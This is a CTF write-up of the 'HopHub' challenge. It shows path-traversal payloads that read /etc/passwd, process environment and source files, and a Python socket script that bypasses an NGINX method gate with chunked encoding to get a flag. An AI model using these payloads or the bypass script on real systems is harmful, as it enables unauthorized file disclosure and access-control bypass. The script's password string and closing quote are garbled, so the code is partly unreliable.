↓ Skip to main content
  1. Write-ups/
  2. CTF Write-ups/

HopHub Web Challenge | FahemSec

HopHub Web Challenge | FahemSec

Normal user to front-door unlock: NGINX json_set reads method from $request_body, Flask trusts the proxy, and 1024 one-byte chunks blind the gate while Flask still sees valid JSON.

·1694 words·8 mins·
Table of Contents

Hey Everyone, this one is my favorite type of web challenge, no RCE, no SQLi, just two layers disagreeing (Parser Diffrential) about the same request bytes. Target is HubManager 2.4.1 at http://95.217.6.37:30001/, box HM-7F3A21C4. We start as nobody, we end by making unlockDoor hand us the flag. This challenge from FahemSec platform if you want to solve. Let’s digging on :"

You only get an IP + port. Box is a smart-home hub simulator:

http://95.217.6.37:30001/
HubManager HM-7F3A21C4 · fw 2.4.1
nginx/1.31.6 + Flask backend, one RPC endpoint: POST /api/v1/rpc
Screenshot 2026-10-01 231318

After login you will see the hub manger:

image

JS on that page does everything via:

POST /api/v1/rpc Content-Type: application/json {"method":"..."}

Enumerate Different Methods
#

Try one per tab:

{"method":"whoami"}
{"method":"getHubInfo"}
{"method":"listDevices"}
{"method":"listCapabilities"}
{"method":"getState","device":"front_door"}

For listDevices:

Screenshot 2026-10-01 183904

For listCapabilities:

Screenshot 2026-10-01 183535

What does this mean?

App tells a low-priv user about privileged methods. scope looks like docs, not enforcement. Who blocks us?

Prove the Gate — Direct unlockDoor = 403
#

If you tried to send a request, you will get 403:

{"method":"unlockDoor","device":"front_door"}
HTTP/1.1 403 Forbidden

{"error":"method not permitted"}

Source Disclosure: exportRules Traversal
#

Writers always skip this step with one sentence: “then exportRules had traversal, read the source.” That hides the only question that matters on a blackbox: how did you know to look at exportRules at all?

listCapabilities has 24 entries, not 8
#

That screenshot above shows 8. The response has 24, and the three privileged methods sit at the bottom, which is the worst place to start because they are exactly the ones NGINX blocks. Chasing them is how you end up three hours deep in parser differentials.

Sort by parameter shape instead:

SignalMethodsWhy
a string that names a file (name?, file, path, log)exportRulesuser value that may hit the filesystem
file verb: export download backup snapshotexportRulesexporters read a path
scope: publicexportRulestestable as plain role:user
id onlysaveScene, setRuleEnabled, deleteRulenot file sinks, but IDOR candidates

Same table works on any JSON-RPC target: every param a human would call a filename is an untrusted path until you read the handler.

ExportRules Takes A Name
#

The capability object hands it over:

{"method": "exportRules", "scope": "public", "params": ["name?"],
 "summary": "Snapshot the current rules to a bundle, or download a saved bundle by name."}

name? is one attacker-controlled string. “download a saved bundle by name” means the handler resolves it, and anything an exporter resolves is a path. The bug was never hidden, it was in a field you skip because you grep for privileged.

The Error Echoes Your Input
#

Baseline it before attacking:

{"method":"exportRules"}
{"method":"exportRules","name":"rules.json"}
{"method":"exportRules","name":"nope.json"}
no name     -> {"ok":true,"file":"<you>.json","bundle":{...}}
rules.json  -> {"ok":false,"error":"no export named rules.json"}
nope.json   -> {"ok":false,"error":"no export named nope.json"}

no export named rules.json contains the exact string I sent. That is open(X) raising and the handler echoing the argument. First hard evidence the param is a path.

The oracle it gives you, with limits:

InputResult
readable file{"ok":true,"content":"..."}
missing fileno export named X
directory (/etc)no export named /etc – IsADirectoryError swallowed
symlink to dir (/proc/self/cwd)same error, so it is open() not listdir()
file over 64 KiBcut at exactly 65536, no warning
binaryvalid JSON, 20038 replacement chars out of 65536

All of it is HTTP 200 with ok:false. Status code carries no signal here, you have to read the body.

Absolute Path Beats ../
#

Instinct says ../../../../app/app.py. Don’t count yet. The bug is os.path.join(base, user_value) and join has one behavior that beats everything:

os.path.join("/app/data/exports", "/etc/passwd")   # -> "/etc/passwd"

An absolute second arg throws the base away:

{"method":"exportRules","name":"/etc/passwd"}
{"ok":true,"content":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."}

One request, no depth arithmetic. Every ../ I would have written was me compensating for not knowing the API.

Ask The Process Where It Lives
#

{"method":"exportRules","name":"/proc/self/environ"}
PWD=/app
{"method":"exportRules","name":"/proc/self/cmdline"}
/usr/local/bin/python3.12 /usr/local/bin/gunicorn --preload -w 1 -b 0.0.0.0:5000 app:app

PWD=/app and app:app, so depth is arithmetic not guessing. Exports live in /app/data/exports, three levels down:

nameResult
../etc/passwdno export named
../../etc/passwdno export named
../../../etc/passwdcontent
/etc/passwdcontent

..%2f and ....// both failed too. Value comes from a JSON body, there is no URL decoding in the path, so filter bypasses for ../ are dead weight here.

The Dump
#

{"method":"exportRules","name":"/app/app.py"}
{"method":"exportRules","name":"/etc/nginx/nginx.conf"}
image

Check it is the running code, not a decoy, by matching lines against what you already measured:

Source saysI already knew
return 403 '{"error":"method not permitted"}'exact 403 body, byte for byte, and Flask has no 403 anywhere in it
client_max_body_size 10241023 and 1024 give 403, 1025 gives 413
fh.read(MAX_EXPORT) = 65536/bin/ls came back exactly 65536
server backend:5000only 30001 is open outside, 5000 and 8080 are not
p.unlink(missing_ok=True)/run/hub/flag is not readable

If a recovered file contradicts something you measured yourself, you are reading the wrong file.

The Flag File Is Gone
#

The source killed more work than it gave me:

FLAG = _secret("flag", "HM_no_flag_set").strip()
def _secret(name, default):
    p = _SECRETS / name
    if not p.exists():
        return default
    v = p.read_text()
    p.unlink(missing_ok=True)
    return v

Read into a global at import, then deleted. Confirmed, /run/hub/flag is not there at any point.

So the file read was never the exploit, it was the map. Every instinct says spray /flag, /flag.txt, /run/hub/flag. Those are all dead, the only copy left is the FLAG variable in memory, and the one method that returns it is the one NGINX blocks.

What does this mean?

We don’t need to guess anymore. The server hands us its own source code and its own proxy config. app.py tells us what Flask will accept. nginx.conf tells us what NGINX will block. The bug is the gap between them.

A public method took a string called name, the error message echoed it back, and one os.path.join later the whole challenge was open.

What Flask Does
#

From app.py, Flask does 5 steps in order:

1. body.decode('utf-8')  # must be UTF-8, UTF-16/32 die here
2. json.loads(..., object_pairs_hook=reject_duplicates)  # dup keys -> malformed
3. check top-level keys are in allowlist for that method
4. if method not in [login,register,logout,whoami]: require session
5. dispatch to handler

unlockDoor handler:

device must exist and type == "lock"  # front_door passes
duration optional, default 60, must be finite float
return {"ok":true, "lock":"released", "entry_code": FLAG}
FLAG = _secret("flag", ...) then unlink(/run/hub/flag)

What does this mean?

  • No role check. scope: “privileged” is just a label, never enforced. Any logged-in user who reaches this function gets the flag.
  • Very strict JSON: no duplicates, only method,device,duration, finite numbers only, UTF-8 only.
  • /run/hub/flag is deleted after boot. Only copy is in memory. You must call unlockDoor.

Flask alone is open. Something in front is stopping us.

What NGINX Does
#

Recovered gate:

client_max_body_size 1024;
client_body_buffer_size 1024;
json_set $rpc_method $request_body "method";
map $rpc_method $is_restricted {
  "unlockDoor" 1;
  "disableAlarm" 1;
  "factoryReset" 1;
  default 0;
}
image

Read it line by line, the bypass comes straight from here:

  1. client_max_body_size 1024; –> Decoded body > 1024 -> 413. Ours must be <=1024.
  2. client_body_buffer_size 1024; –> Bodies up to 1024 stay in RAM. Fragmented bodies spill to temp file on disk. Twice 1024 is screaming buffer-boundary, test exactly at 1024.
  3. json_set $rpc_method $request_body "method"; –> Parse in-memory $request_body as JSON, copy method field. Key fact: $request_body is empty when body was written to temp file. No RAM body = nothing to parse = $rpc_method stays empty.
  4. map ... default 0; –> unlockDoor -> 1 -> 403. Anything else including empty -> 0 -> allow. Fail-open. Missing is treated as safe.

What does this mean?

NGINX blocks what it extracted, not what Flask will execute:

Normal Content-Length:

Browser --{"method":"unlockDoor"}--> NGINX sees "unlockDoor" in RAM -> 403

Fragmented chunked:

Browser --{"method":"unlockDoor"}--> NGINX sees "" on disk -> allow -> Flask sees "unlockDoor" -> 200 + flag

Proxy blind, backend seeing. That disagreement is the vulnerability.

Why JSON Tricks Die
#

PayloadResult
Same JSON + 979 spaces, Content-Length: 1024still 403 — padding alone not bypass
{"method":"unlockDoor","method":"whoami"}malformed request — duplicate hook
last=unlockDoor dup403 — NGINX reads last
deep nesting, NaN/Infinity/1e309, surrogates, \u0000gate maybe blind, Flask rejects finite/scalar/utf-8 checks
CL+TE together400
case / %2f / trailing slash404 or still blocked

What does this mean?

Everything that blinds NGINX JSON also breaks Flask strict validation. Stop changing JSON meaning. Keep JSON 100% valid, change delivery.

Note: All methods I used to bypass from many resources and techniques inspired from another challenges I solved before.

The Bypass –> Same Body, Different Framing
#

Insight: $request_body is empty when body spooled to temp file. Chunked bodies skip the allocate one buffer fast path, stream + spill, json_set sees nothing, but proxy still forwards file upstream.

Decoded entity exactly 1024B (under client_max_body_size, not over):

45B  {"method":"unlockDoor","device":"front_door"}
+ 979B trailing spaces — legal JSON whitespace
= 1024B, no duration -> default 60

On wire as 1024 x 1-byte chunks:

"1\r\n" + 1 byte + "\r\n" = 6 bytes per chunk
1024*6 + 5 ("0\r\n\r\n") = 6149 wire bytes

Generate once for Repeater paste:

python3 -c "
body=b'{\"method\":\"unlockDoor\",\"device\":\"front_door\"}'+b' '*(1024-45)
open('/tmp/body.bin','wb').write(b''.join(b'1\r\n'+bytes([b])+b'\r\n' for b in body)+b'0\r\n\r\n')
"
wc -c /tmp/body.bin # 6149

Then send as the body in burp like:

POST /api/v1/rpc HTTP/1.1
Host: 95.217.6.37:30001
Content-Type: application/json
Cookie: session=<yours>
Transfer-Encoding: chunked
Connection: close

NO Content-Length, wrench icon -> UNCHECK Update Content-Length

One shot script to send our exploit:

import socket,requests,time
BASE='http://95.217.6.37:30001'
s=requests.Session()
u='ex%d'%(int(time.time()%100000))
s.post(BASE+'/api/v1/rpc',json={'method':'register','username':u,'password':'P@ssw0rdxdg-open /tmp/render_result_final.png'})
sess=s.cookies.get('session')
body=b'{\"method\":\"unlockDoor\",\"device\":\"front_door\"}'+b' '*(1024-45)
chunked=b''.join(b'1\r\n'+bytes([b])+b'\r\n' for b in body)+b'0\r\n\r\n'
req=('POST /api/v1/rpc HTTP/1.1\r\nHost: 95.217.6.37:30001\r\nContent-Type: application/json\r\nCookie: session='+sess+'\r\nTransfer-Encoding: chunked\r\nConnection: close\r\n\r\n').encode()+chunked
sock=socket.create_connection(('95.217.6.37',30001),timeout=10)
sock.sendall(req)
resp=b''
while True:
 p=sock.recv(4096)
 if not p: break
 resp+=p
print(resp.decode(errors='replace'))
"
image

Why it works:

LayerIt doesIt sees
NGINX HTTPde-chunks 1024x1Bdecoded 1024B <= max, no 413
NGINX json_setreads $request_bodymissing (file-backed/fragmented)
NGINX proxyforwards from temp fileintact JSON
Flaskjson.loads flat objectunlockDoor/front_door/60

The Takeaway
#

Whole challenge is one idea: proxy does not see what backend consumes. Auth from best-effort variable that silently disappears on buffering change = fail-open.

Fix that kills class:

  1. Enforce in Flask. privileged must be checked, not listed.
  2. Fail closed. Empty method / parse fail / missing $request_body on JSON POST -> 400.
  3. Test whole path: CL vs chunked, many-small-chunks, 1023/1024/1025, dup keys, deep JSON, bad unicode.
  4. Alert when JSON POST proxied without extracted method.

Reference
#

See the last version of Nginx update here.

db1M
Author
db1M
Mohanad Edrees — penetration testing enthusiast and CTF player.

Related

Canon Collapse | IEEE VICTORIS CTF 2026 Qualifications

·1327 words·7 mins
Hey Everyone, this one is the wildest web challenge I tackled at IEEE VICTORIS CTF 26 Qualifications, and I got the first blood on it. Only 2 solves across the whole competition. The entire kill chain boils down to one idea: make every layer of the backend see a different version of the same bytes. Let’s goooo

Czechoslovakia XSS Challenge | Hackena Ramadan CTF

·827 words·4 mins
How I Exploited an XSS vulnerability in a filtered input parameter using the /a// bypass technique to steal the admin bot’s FLAG cookie through a webhook exfiltration.

Abazon Web Challenge | FahemSec

·752 words·4 mins
Hey folks, did your about Session Puzzling Vulnerability before?? Continue and explore. Our challenge today is a blackbox challenge from FahemSec platform, using Session Variable Overwrite via Forgot Password (Session Puzzle) and get the flag. Let’s go diving and see :)

Stay in the loop

Get notified about the content you care about.

What would you like to follow?

Unsubscribe anytime.